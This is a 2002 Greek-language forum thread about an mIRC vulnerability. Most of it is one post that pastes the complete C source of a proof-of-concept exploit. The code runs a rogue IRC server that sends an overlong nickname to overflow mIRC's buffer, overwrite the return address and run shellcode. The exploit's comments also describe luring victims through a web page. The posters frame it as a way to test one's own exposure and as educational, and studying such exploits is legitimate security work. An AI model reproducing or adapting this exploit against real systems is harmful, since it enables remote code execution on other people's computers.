MIRC Chat Users Vulnerable To New Attack!

pyro · 6 Φεβρουαρίου 2002

δείτε το εδώ

JPG · 6 Φεβρουαρίου 2002

Apo oti leei to problima diorthothike sto mirc6Opote trekste gia update.

Dvs · 6 Φεβρουαρίου 2002

http://neworder.box.sk/showme.php3?id=6107 kai edo kati leei alla mallon exei diortothei sto 6.0

HdkiLLeR · 7 Φεβρουαρίου 2002

Pio sigekrimena iparxoun dio vulnerabilities to irc:// vuln kai to nickname bufer overflow.Perisotera infos edw

Paratheto kai ton kwdika gia exploitation (kalo tha itan na min xrisimopoiithei para mono gia na testarete ean eiste vuln/ble kai tipote allo)

<blockquote>code:<hr><pre> /* Mirc buffer nickname buffer overflow proof of concept exploit.

Author: James Martin

Email: me@uuuppz.com

Website: http://www.uuuppz.com

This code is purely to demonstrate the risk posed by this flaw.

It should not be used for malicious purposes. I do not accept

any responsibility for any damage it may cause due to it use. This code compiles in Borland C++ 5.5 command line tools. Run it,

and type /server 127.0.0.1 2680 (in mirc that is ). This exploit could be modified to work on many editions of mirc

running on all variants of windows. However due to the messing

around that is required to place the return address on the stack

It will work on:

For the following do not #define EXPLOIT_2K

Windows 98SE running Mirc 5.91

Windows 98 running Mirc 5.91

Windows ME running Mirc 5.91

With exploit 2K defined it will exploit

Windows 2K The basic concept of this overflow is as follows

In memory mirc stores the following variables

[Primarynick(100chars)][Alternativenick(100chars)][WhichNick[dword]]

There is no length checking on the nickname returned to nick by the server.

There are two ways to exploit this

a) Send the msg " LDCLIENTNICK NICK NEWCLIENTNICK"

Send ":testserver 001 NEWNICKNAME :blah blah" I found method a) on the 24/10/2001 and reported this problem to the author.

Method was published by eSDee of hoepelkoe 23/10/2001 (completely unknown to me!)

very coincidental really. From debugging the code, it seems that this buffer is copied in several places.

So there maybe more places to exploit this than are currently known. I spent quite a bit of time analysing the hole, in the end I found

the way to do it was, to overright WhichNick with a value, that would

cause the currentnickname to reference the stack, then send another nick

name containing the new version of EIP to be overwritten on the stack. For this we need a magick number to be placed in currentnickname, this number

must satisfy the equation (magicknumber*100)+offset = location of pushed eip. Also

this magick number must not contain any zero bytes or spaces (value of 32). This

works by exploiting the integer overflow concept. The following is the code which appears in mirc.

imul ecx, WhichNick, 64h

add ecx, offset PrimaryNick Unfortuantly the location of the stack varies between different versions of windows.

NT, Win2k, XP all have the stack in very similar positions but it does move slightly.

Win98,Win98SE, WinME all have the stack in EXACTLY the same position. Windows 95 is

different again. Hence having to do a #define for the os you wish to exploit. This may seem like quite a large mitigating factor but in reality this is very easy

to overcome if you couple this exploit with a HTTP server which sends out a page to

cause mirc to load and attempt to connect to our evil server. As Internet explorer,

is nice enough to tell us exactly what OS is running! I think we can blame MS for that

one, talk about giving us a helping hand!

*/#include<stdio.h>

#include<windows.h>

#include<winsock2.h>

#define SOCKADDRCAST struct sockaddr_in *// This fuction binds a listenig socket

SOCKET openlistensocket(void) {

SOCKET s;

struct sockaddr_in SockAdr; // Get a new socket

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// Set the ip add ress we are going to bind to

memset(&SockAdr, 0, sizeof(SockAdr));

SockAdr.sin_addr.s_addr = inet_addr("0.0.0.0") ;

SockAdr.sin_family=AF_INET;

SockAdr.sin_port=htons(2680); printf("2: Starting\n");

// Attempt to bind socket

if(bind(s, (SOCKADDRCAST)&SockAdr, sizeof(SockAdr))) {

// Failed free socket and return -1

printf("Failed to open, %u\n",WSAGetLastError()); closesocket(s);

return(-1);

} else // Success listen on socket

if(listen(s, 10)!=SOCKET_ERROR)

return(s);

else {

printf("Failed to open listen socket (listen, %u)\n",WSAGetLastError()); closesocket(s);

return(-1);

}

}// Shell code, this just launches an executable

// specifid following the shell code. Currently

// it does not clean up properly, so mirc will

// crash.

char shellcode[44] = {

0x6A,0x01,0xB8,0xBF,

0x74,0x55,0x44,0xC1,

0xE0,0x08,0xC1,0xE8,

0x08,0x50,0xB8,0x50,

0x90,0x54,0x44,0xC1,

0xE0,0x08,0xC1,0xE8,

0x08,0xFF,0xd0,0x33,

0xDB,0x53,0xB8,0x10,

0x8e,0x54,0x44,0xc1,

0xe0,0x08,0xc1,0xe8,

0x08,0xff,0xd0,0x00};

#define EXPLOI_9x#define MAGICNUMBER_NT 0x28eb207

#define MAGICNUMBER_2K 0x28eb205

#define MAGICNUMBER_XP 0x28eb205

#define MAGICNUMBER_9x 0x28Fc909

#define OFFSET_NT 20

#define OFFSET_2K 84

#define OFFSET_XP 12

#define OFFSET_9x 180

#define OFFSET_95 184

#ifdef EXPLOIT_NT

#define MAGICNUMBER MAGICNUMBER_NT

#define OFFSET OFFSET_NT

#else

#ifdef EXPLOIT_2K

#define MAGICNUMBER MAGICNUMBER_2K

#define OFFSET OFFSET_2K

#else

#ifdef EXPLOIT_XP

#define MAGICNUMBER MAGICNUMBER_XP

#define OFFSET OFFSET_XP

#else

#define MAGICNUMBER MAGICNUMBER_9x

#ifdef EXPLOIT_95

#define OFFSET OFFSET_95

#else

#define OFFSET OFFSET_9x

#endif

#endif// Our main function

void main() {

SOCKET s,client;

char buf1[300],

buf2[190],

buf3[1500];

/* Perform winsock startup */

WORD wVersionRequested;

WSADATA wsaData;

HANDLE h;

int wsErr;

int len, *i;

struct sockaddr_in SockAdr; wVersionRequested = MAKEWORD( 1, 1 );

wsErr = WSAStartup( wVersionRequested, &wsaData );

printf("1: Initialising %u\n",wsErr);

if ( wsErr != 0 ) {

/* Tell the user that we couldn't find a usable */

/* WinSock DLL. */

printf("Failed to start winsock exiting\n");

return;

} // Open Listen Socket

s = openlistensocket(); // Accept a connection

len = sizeof(SockAdr);

client = accept(s, &SockAdr, &len);

printf("Accepted\n"); // Init the two exploit buffers.

memset(buf1, 'X', sizeof(buf1));

memset(buf2, 'Y', sizeof(buf1));

buf1[204] = 0;

buf2[OFFSET+3] = 0; // Set the return address to be poped onto the stack

buf2[OFFSET] = 0x94;

buf2[OFFSET+1] = 0x74;

buf2[OFFSET+2] = 0x55; // Set our little magic number

i = (int *)(buf1+200);

*i = MAGICNUMBER; // Build the exploit string

sprintf(buf3, ":testserver 001 %s%scalc.exe dd\n:testserver 001 %s \n:testserver 001 test \n", buf1,shellcode,buf2); // Send it

send(client, buf3, strlen(buf3),0); // Wait

printf("Waiting\n");

Sleep(10000); // Cleanup

closesocket(client);

closesocket(s);

}

</pre><hr></blockquote>

Dvs · 8 Φεβρουαρίου 2002

mono gia ekpaideutikous logous

HdkiLLeR · 8 Φεβρουαρίου 2002

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MIRC Chat Users Vulnerable To New Attack!

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